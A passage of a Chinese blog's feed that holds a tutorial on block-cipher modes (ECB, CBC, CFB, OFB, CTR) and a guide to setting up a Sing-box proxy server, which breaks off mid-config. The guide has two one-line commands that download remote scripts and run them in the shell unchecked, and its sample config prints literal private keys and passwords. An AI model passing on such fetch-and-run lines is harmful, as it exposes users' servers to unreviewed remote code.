&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.ruanyifeng.com&#x2F;blog&#x2F;2013&#x2F;06&#x2F;rsa_algorithm_part_one.html&quot;&gt;RSA算法原理&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.pediy.com&#x2F;kssd&#x2F;pediy06&#x2F;pediy6014.htm&quot;&gt;ECC加密算法入门&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;datatracker.ietf.org&#x2F;doc&#x2F;html&#x2F;rfc5246&quot;&gt;TLS1.2-rfc5246&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;datatracker.ietf.org&#x2F;doc&#x2F;html&#x2F;rfc8446&quot;&gt;TLS1.3-rfc8446&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;OCSP_stapling&quot;&gt;OCSP_stapling&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;drops.xmd5.com&#x2F;static&#x2F;drops&#x2F;tips-4403.html&quot;&gt;常见HTTPS攻击方法&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>密码学总结（一）ofb和cfb区别</title>
        <published>2025-07-18T00:00:00+00:00</published>
        <updated>2025-07-18T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/密码学总结-一-ofb和cfb区别/"/>
        <id>https://vercel.juzhong.asia/obsidian/密码学总结-一-ofb和cfb区别/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/密码学总结-一-ofb和cfb区别/">&lt;h1 id=&quot;mi-ma-xue-zong-jie-yi-ofbhe-cfbqu-bie&quot;&gt;密码学总结（一）ofb和cfb区别&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;yi-mi-ma-chang-shi&quot;&gt;一、密码常识&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;1-1-xin-xi-an-quan-mian-lin-de-wen-ti-yi-ji-jie-jue-fang-an&quot;&gt;1.1 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8&amp;amp;spm=1001.2101.3001.7020&quot;&gt;信息安全&lt;&#x2F;a&gt;面临的问题以及解决方案&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ofb-cfb&#x2F;infosec-threats-diagram.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
记住：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;不要过于依赖密码保证信息安全，因为任何密码都会有被破解的一天；&lt;&#x2F;li&gt;
&lt;li&gt;不要使用低强度的密码；&lt;&#x2F;li&gt;
&lt;li&gt;不要使用保密的密码算法；&lt;&#x2F;li&gt;
&lt;li&gt;信息安全是一个系统的问题，密码只是信息安全的一部分；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;1-2-jia-mi-san-yao-su&quot;&gt;1.2 加密三要素&lt;&#x2F;h3&gt;
&lt;p&gt;明文和密文：加密处理的数据。
秘钥（key）：用于生成明文的一串数字。
算法（algorithm）：用于解决复杂问题的步骤。从明文生成密文的步骤，也就是加密的步骤，称为“加密算法&quot;，而解密的步骤则称为“解密算法&quot;。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ofb-cfb&#x2F;encryption-three-elements-2.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ofb-cfb&#x2F;encryption-three-elements.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-3-kai-sa-mi-ma&quot;&gt;1.3 凯撒密码&lt;&#x2F;h3&gt;
&lt;p&gt;恺撒密码（Caesar cipher）是一种相传尤利乌斯·恺撒曾使用过的密码。恺撒于公元前100年左右诞生于古罗马，是一位著名的军事统帅。&lt;&#x2F;p&gt;
&lt;p&gt;恺撤密码是通过将明文中所使用的字母表按照一定的字数“平移”来进行加密的。&lt;&#x2F;p&gt;
&lt;p&gt;为了讲解方便，我们用小写字母（a，b，c，…）来表示明文，用大写字母（A，B，C，…）来表示密文。&lt;&#x2F;p&gt;
&lt;p&gt;现在我们将字母表平移3个字母，于是，明文中的a在加密后就变成了与其相隔3个字母的D，以此类推。b变成E，c变成F，d变成G…v变成Y，w变成Z，而x则会回到字母表的开头而变成A，相应地，y变成B，z变成C。通过下图我们可以很容易地理解“平移&quot;的具体工作方式。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ofb-cfb&#x2F;caesar-cipher-shift.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
比如英文&lt;code&gt;hello&lt;&#x2F;code&gt;，加密后的数据变为&lt;code&gt;KHOOR&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;恺撒密码的解密过程是使用与加密时相同的密钥进行反向的平移操作。比如上面例子，只要反向平移3个字母就可以解密了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;er-dui-cheng-jia-mi&quot;&gt;二、对称加密&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;2-1-shen-me-shi-dui-cheng-jia-mi&quot;&gt;2.1 什么是对称加密&lt;&#x2F;h3&gt;
&lt;p&gt;对称加密是指在加密和解密时使用相同的秘钥。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ofb-cfb&#x2F;symmetric-encryption-concept.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-2-fen-zu-mi-ma&quot;&gt;2.2 分组密码&lt;&#x2F;h3&gt;
&lt;p&gt;一般来说，以分组为单位进行处理的密码算法称为分组密码（blockcipher）。一个分组的比特数就称为分组长度（blocklength）。例如，&lt;code&gt;DES&lt;&#x2F;code&gt;和&lt;code&gt;三重DES&lt;&#x2F;code&gt;的分组长度都是64比特。这些密码算法一次只能加密64比特的明文，并生成64比特的密文。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-3-fen-zu-mo-shi&quot;&gt;2.3 分组模式&lt;&#x2F;h3&gt;
&lt;p&gt;分组密码算法只能加密固定长度的分组，但是我们需要加密的明文长度可能会超过分组密码的分组长度，这时就需要对分组密码算法进行迭代，以便将一段很长的明文全部加密。而迭代的方法就称为分组密码模式。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;bi-jiao-chang-jian-de-fen-zu-mo-shi-you-ecb-cbc-cfb-ofb-ctrdeng-mo-shi&quot;&gt;比较常见的分组模式有：ECB、CBC、CFB、OFB、CTR等模式。&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;2-3-1-ecbmo-shi&quot;&gt;2.3.1 ECB模式&lt;&#x2F;h4&gt;
&lt;p&gt;ECB（Electronic Code Book， 电子密码本模式），是最简单的分组模式。明文消息被分成固定大小的块（分组），并且每个块被单独加密。如果最后一个明文分组的内容小于分组长度时，需要用一特定的数据进行填充（padding）。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ofb-cfb&#x2F;ecb-mode-encryption.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ofb-cfb&#x2F;ecb-mode-encryption-2.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
特点： 每个块的加密和解密都是独立的，且使用相同的方法进行加密，所以可以进行并行计算，所以效率较高。但是，由于密文有规律，如果有一个块被破解，那么使用相同的方法可以解密其他块中的数据，所以安全性较低，容易被破解。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;2-3-2-cbcmo-shi&quot;&gt;2.3.2 CBC模式&lt;&#x2F;h4&gt;
&lt;h5 id=&quot;2-3-2-1-xor&quot;&gt;2.3.2.1 XOR&lt;&#x2F;h5&gt;
&lt;p&gt;XOR的全称是exclusive or，在中文里叫作异或。由于XOR和加法运算很相似，因此一般用+和O组合而成的符号⊕来表示XOR。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ofb-cfb&#x2F;xor-bitwise-operation.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
如果两个比特序列执行异或运算，只要对其中每个相对应的比特进行XOR运算就可以了（如下图）。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ofb-cfb&#x2F;xor-bitwise-operation-diagram.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
由于两个相同的数进行XOR运算的结果一定为0，因此如果将A⊕B的结果再与B进行XOR运算，则结果会变回A。也就是说，两个公式中的B会相互抵消。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ofb-cfb&#x2F;xor-encrypt-decrypt.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
通过上面的运算公式与加密解密非常相似：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;将明文A用密钥B进行加密，得到密文A⊕B&lt;&#x2F;li&gt;
&lt;li&gt;将密文A⊕B用密钥B进行解密，得到明文A&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;实际上，只要选择一个合适的B（相当于秘钥），仅仅使用XOR就可以实现一个高强度的密码。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;2-3-2-2-cbcmo-shi&quot;&gt;2.3.2.2 CBC模式&lt;&#x2F;h5&gt;
&lt;p&gt;CBC - Cipher Block Chaining, 密码块链模式，它是一种最常见的加密模式。CBC模式中的每一个分组要先和前一个分组加密后的数据进行&lt;code&gt;XOR&lt;&#x2F;code&gt;异或操作，然后再进行加密。而第一个数据块需要用&lt;code&gt;初始化向量IV&lt;&#x2F;code&gt;进行异或操作后再进行加密。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;初始化向量：当加密第一个明文分组时，由于不存在前一个密文分组，因此需要事先准备一个长度为一个分组的比特序列来代替前一个密文分组，这个比特序列称为初始化向量（initialization vector），通常缩写为 IV。一般来说，每次加密时都会随机产生一个不同的比特序列来作为初始化向量。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ofb-cfb&#x2F;cbc-mode-encryption-iv.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ofb-cfb&#x2F;cbc-mode-encryption-diagram.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
特点：明文分组在加密之前一定会与前一个密文分组进行 XOR 运算，即便明文分组1和2的值是相等的，密文分组1和2的值也不一定是相等的。这样一来，ECB模式的缺陷在CBC模式中就不存在了。但是，由于CBC加密是连续的，不能并行处理，因此效率较低。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;明文分组：是指分组密码算法中作为加密对象的明文。明文分组的长度与分组密码算法的分组长度是相等的。
密文分组：是指使用分组密码算法将明文分组加密之后所生成的密文。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;如果将一个分组的加密过程分离出来，我们就可以很容易地比较出ECB模式和CBC模式的区别 。ECB模式只进行了加密，而CBC模式则在加密之前进行了一次XOR。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ofb-cfb&#x2F;cbc-vs-ecb-comparison.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;2-3-3-cfbmo-shi&quot;&gt;2.3.3 CFB模式&lt;&#x2F;h4&gt;
&lt;p&gt;CFB - Cipher FeedBack, 密文反馈模式。在CFB模式中，前一个分组的密文被送回到&lt;code&gt;密码算法&lt;&#x2F;code&gt;的输入端进行加密，然后再把加密后的&lt;code&gt;秘钥流&lt;&#x2F;code&gt;和当前分组的明文进行异或操作生成当前分组的密文。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;由密码算法所生成的比特序列称为&lt;code&gt;密钥流&lt;&#x2F;code&gt;。&lt;code&gt;密码算法&lt;&#x2F;code&gt;就相当于用来生成密钥流的伪随机数生成器，而初始化向量就相当于伪随机数生成器的种子。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ofb-cfb&#x2F;cfb-encryption-flow.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
CFB模式的解密流程与加密流程是非常相似的。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ofb-cfb&#x2F;cfb-mode-decryption.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
通过对比CBC模式与CFB模式发现，在CBC模式中，明文分组和密文分组之间有XOR和密码算法两个步骤，而在CFB模式中，明文分组和密文分组之间则只有XOR。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ofb-cfb&#x2F;cbc-cfb-mode-comparison.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
在CFB模式中，由于密码算法的输出是通过计算得到的，并不是真正的随机数，因此CFB模式不可能具各理论上不可破译的性质。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;2-3-4-ofbmo-shi&quot;&gt;2.3.4 OFB模式&lt;&#x2F;h4&gt;
&lt;p&gt;OFB - Output-Feedback, 输出反馈模式。在OFB模式中，密码算法的输出会反馈到密码算法的输入中， 即上一个分组密码算法的输出是当前分组密码算法的输入。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ofb-cfb&#x2F;ofb-mode-encryption.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ofb-cfb&#x2F;ofb-mode-encryption-diagram.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
和CBC模式、CFB模式一样，OFB模式中也需要使用初始化向量（IV）。一般来说，我们需要在每次加密时生成一个不同的随机比特序列用作初始化向量。&lt;&#x2F;p&gt;
&lt;p&gt;通过CFB和OFB模式对比发现，CFB和OFB模式的区别仅仅在于密码算法的输入。CFB式中，密码算法的输人是前一个密文分组，OFB模式中，密码算法的输入则是密码算法的前一个输出（如下图）。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ofb-cfb&#x2F;cfb-mode-encryption.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
相对地，在OFB模式中，XOR所需的密钥流可以事先通过密码算法生成，和明文分组无关。只要提前准备好所需的密钥流，就可以将明文与密钥流进行XOR操作即可，不需要动用密码算法。换个角度看，生成密钥流的操作和进行XOR运算的操作是可以并行的。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;2-3-5-ctrmo-shi&quot;&gt;2.3.5 CTR模式&lt;&#x2F;h4&gt;
&lt;p&gt;CTR - CounTeR, 计数器模式，它是一种通过将逐次累加的计数器进行加密来生成密钥流的流密码（如下图）。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ofb-cfb&#x2F;ctr-mode-encryption-diagram-3.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ofb-cfb&#x2F;ctr-mode-diagram.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
CTR模式中，每个分组对应一个计数器，并通过对计数器进行加密来生成密钥流，然后再与明文分组进行XOR操作得到密文分组。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;计数器生成方法：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;每次加密时都会生成一个随机数（nonce）作为计数器的初始值。当分组长度为128比特（16字节）时，计数器的初始值的格式为：
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ofb-cfb&#x2F;ctr-counter-nonce-format.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
其中，前面8个字节为nonce，每次加密都会生成一个新的none值。后面8位位分组序号，这部分会逐次累加。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ofb-cfb&#x2F;ctr-counter-increment.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
由于计数器的值是不相同的，因此每个分组中将计数器进行加密所得到的密钥流也是不同的。也是说，这种方法就是用分组密码来模拟生成随机的比特序列。&lt;&#x2F;p&gt;
&lt;p&gt;如果我们将单个分组的加密过程拿出来，那么OFB模式和CTR模式之间的差异还是很容易理解的（下图）。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ofb-cfb&#x2F;ofb-vs-ctr-block-diagram.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
OFB模式是将加密的输出反愦到密码算法的输入，而CTR模式则是将计数器的值用作密码算法的输入。&lt;&#x2F;p&gt;
&lt;p&gt;由于CTR模式在加密和解密时所需要计数器的值可以有none和分组序号计算出来，因此它能够以任意顺序处理分组。这也就意味着在支持并行计算的系统中，CTR模式的速度是非常快的。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ofb-cfb&#x2F;ctr-mode-encryption-diagram.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ofb-cfb&#x2F;ctr-mode-encryption-diagram-2.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Sing-box节点搭建教程</title>
        <published>2025-07-17T00:00:00+00:00</published>
        <updated>2025-07-17T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/sing-box节点搭建教程/"/>
        <id>https://vercel.juzhong.asia/obsidian/sing-box节点搭建教程/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/sing-box节点搭建教程/">&lt;h1 id=&quot;sing-boxjie-dian-da-jian-jiao-cheng&quot;&gt;Sing-box节点搭建教程&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;huan-jing-zhun-bei&quot;&gt;环境准备：&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;1-vpsji-ben-an-quan-she-zhi-ke-xuan&quot;&gt;1.vps基本安全设置（可选）：&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;1.更换root密码：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;undefined&quot; class=&quot;language-undefined &quot;&gt;&lt;code class=&quot;language-undefined&quot; data-lang=&quot;undefined&quot;&gt;sudo passwd root
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;2.修改SSH默认端口（可选）:&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;打开配置文件&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo nano &amp;#x2F;etc&amp;#x2F;ssh&amp;#x2F;sshd_config
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;找到：#Port 22去掉#号，并改为对应端口
例如：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;undefined&quot; class=&quot;language-undefined &quot;&gt;&lt;code class=&quot;language-undefined&quot; data-lang=&quot;undefined&quot;&gt;Port 2222
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;安装UFW防火墙并启用（注意一定要放行ssh端口再启用！）：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;自行查询对应系统如何安装ufw防火墙，这里不再说明。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;防火墙放行（重点!），否则你无法链接ssh。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo ufw allow 2222&amp;#x2F;tcp
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;重启SSH服务：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;undefined&quot; class=&quot;language-undefined &quot;&gt;&lt;code class=&quot;language-undefined&quot; data-lang=&quot;undefined&quot;&gt;sudo systemctl restart ssh
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;2-que-ren-bbrshi-fou-kai-qi&quot;&gt;2.确认BBR是否开启：&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;如没有开启，询问AI 对应系统版本如何开启BBR，并如何检查是否开启。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Debian检查是否开启命令：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;undefined&quot; class=&quot;language-undefined &quot;&gt;&lt;code class=&quot;language-undefined&quot; data-lang=&quot;undefined&quot;&gt;sysctl net.ipv4.tcp_congestion_control net.core.default_qdisc
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;输入以下，则已经开启&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;undefined&quot; class=&quot;language-undefined &quot;&gt;&lt;code class=&quot;language-undefined&quot; data-lang=&quot;undefined&quot;&gt;net.ipv4.tcp_congestion_control = bbrnet.core.default_qdisc = fq
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;3-ru-xu-yao-yu-ming-yu-ming-zuo-jie-xi&quot;&gt;3.如需要域名，域名做解析：&lt;&#x2F;h3&gt;
&lt;p&gt;注意：关闭小云朵&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-yong-yi-jian-zheng-shu-jiao-ben-shen-qing-hao-zheng-shu-ji-lu-xia-zheng-shu-lu-jing&quot;&gt;4.用一键证书脚本申请好证书，记录下证书路径：&lt;&#x2F;h3&gt;
&lt;p&gt;证书一键申请脚本：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;bash &amp;lt;(curl -sL https:&amp;#x2F;&amp;#x2F;raw.githubusercontent.com&amp;#x2F;qichiyuhub&amp;#x2F;auto-ssl-cert&amp;#x2F;refs&amp;#x2F;heads&amp;#x2F;main&amp;#x2F;setup.sh)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;比如：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;typescript&quot; class=&quot;language-typescript &quot;&gt;&lt;code class=&quot;language-typescript&quot; data-lang=&quot;typescript&quot;&gt;证书文件: &amp;#x2F;etc&amp;#x2F;ssl&amp;#x2F;yu.ykszckj.com&amp;#x2F;yu.ykszckj.com.crt私钥文件: &amp;#x2F;etc&amp;#x2F;ssl&amp;#x2F;yu.ykszckj.com&amp;#x2F;yu.ykszckj.com.key
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;5-an-zhuang-singbox&quot;&gt;5.安装singbox：&lt;&#x2F;h3&gt;
&lt;p&gt;一键安装：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;bash &amp;lt;(curl -sL &amp;quot;https:&amp;#x2F;&amp;#x2F;raw.githubusercontent.com&amp;#x2F;qichiyuhub&amp;#x2F;autoshell&amp;#x2F;refs&amp;#x2F;heads&amp;#x2F;main&amp;#x2F;install_singbox.sh&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;6-bian-ji-pei-zhi-wen-jian&quot;&gt;6.编辑配置文件&lt;&#x2F;h3&gt;
&lt;p&gt;服务端和客户端对照编辑&lt;&#x2F;p&gt;
&lt;p&gt;演示配置文件下载：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;qichiyuhub&#x2F;rule&#x2F;tree&#x2F;main&#x2F;config&#x2F;zijian&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;qichiyuhub&#x2F;rule&#x2F;tree&#x2F;main&#x2F;config&#x2F;zijian&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;编辑完上传到 &#x2F;etc&#x2F;sing-box 目录覆盖原始配置&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;singboxfu-wu-duan-pei-zhi-shi-li-jie-shi&quot;&gt;singbox服务端配置示例解释：&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;&amp;quot;inbounds&amp;quot;: [  {    &amp;quot;tag&amp;quot;:&amp;quot;SS&amp;quot;,    &amp;quot;type&amp;quot;: &amp;quot;shadowsocks&amp;quot;,    &amp;quot;listen&amp;quot;: &amp;quot;::&amp;quot;,    &amp;quot;listen_port&amp;quot;: 80,    &amp;quot;method&amp;quot;: &amp;quot;2022-blake3-aes-128-gcm&amp;quot;, &amp;#x2F;&amp;#x2F; aes-128-gcm 密钥无限制    &amp;quot;password&amp;quot;: &amp;quot;hztQCU1ZB8CAuPMVFJiCJw==&amp;quot;, &amp;#x2F;&amp;#x2F; 密钥长度16，sing-box执行 sing-box generate rand --base64 16 生成    &amp;quot;multiplex&amp;quot;: {        &amp;quot;enabled&amp;quot;: true    }  },  {    &amp;quot;tag&amp;quot;:&amp;quot;VLESS-Vision-Reality&amp;quot;,    &amp;quot;type&amp;quot;:&amp;quot;vless&amp;quot;,    &amp;quot;listen&amp;quot;:&amp;quot;::&amp;quot;,    &amp;quot;listen_port&amp;quot;:443,    &amp;quot;users&amp;quot;:[        {            &amp;quot;uuid&amp;quot;:&amp;quot;625a08bb-d372-4f7c-a2d4-6a50ca3393ce&amp;quot;, &amp;#x2F;&amp;#x2F; sing-box执行 sing-box generate uuid 生成            &amp;quot;flow&amp;quot;:&amp;quot;xtls-rprx-vision&amp;quot;        }    ],    &amp;quot;tls&amp;quot;:{        &amp;quot;enabled&amp;quot;:true,        &amp;quot;server_name&amp;quot;:&amp;quot;moe.syaronet.com&amp;quot;,        &amp;quot;reality&amp;quot;:{            &amp;quot;enabled&amp;quot;:true,            &amp;quot;handshake&amp;quot;:{                &amp;quot;server&amp;quot;:&amp;quot;moe.syaronet.com&amp;quot;, &amp;#x2F;&amp;#x2F; 要求网站支持 TLS 1.3、X25519 与 H2，域名非跳转用                &amp;quot;server_port&amp;quot;:443            },            &amp;quot;private_key&amp;quot;:&amp;quot;mAQVEs96AtDg1V_b2POFVP8n-Uu6hBe0_1Zt-DtRzGE&amp;quot;, &amp;#x2F;&amp;#x2F; 执行 sing-box generate reality-keypair 生成，对应公钥放客户端            &amp;quot;short_id&amp;quot;:[                &amp;quot;a118b9425a7e2dc5&amp;quot; &amp;#x2F;&amp;#x2F; 执行 sing-box generate rand 8 --hex 生成            ]        }    },    &amp;quot;multiplex&amp;quot;:{        &amp;quot;enabled&amp;quot;:true,        &amp;quot;padding&amp;quot;:true,        &amp;quot;brutal&amp;quot;:{            &amp;quot;enabled&amp;quot;:true,            &amp;quot;up_mbps&amp;quot;:800,            &amp;quot;down_mbps&amp;quot;:100        }    }  },  {    &amp;quot;tag&amp;quot;: &amp;quot;HYSTERIA2&amp;quot;,    &amp;quot;type&amp;quot;: &amp;quot;hysteria2&amp;quot;,    &amp;quot;listen&amp;quot;: &amp;quot;::&amp;quot;,    &amp;quot;listen_port&amp;quot;: 52021,    &amp;quot;obfs&amp;quot;: {      &amp;quot;type&amp;quot;: &amp;quot;salamander&amp;quot;,      &amp;quot;password&amp;quot;: &amp;quot;71c42203-ee95-44f9-97f2-3fefe254f223&amp;quot; &amp;#x2F;&amp;#x2F; sing-box执行 sing-box generate uuid 生成作为密码即可    },    &amp;quot;users&amp;quot;: [      {        &amp;quot;password&amp;quot;: 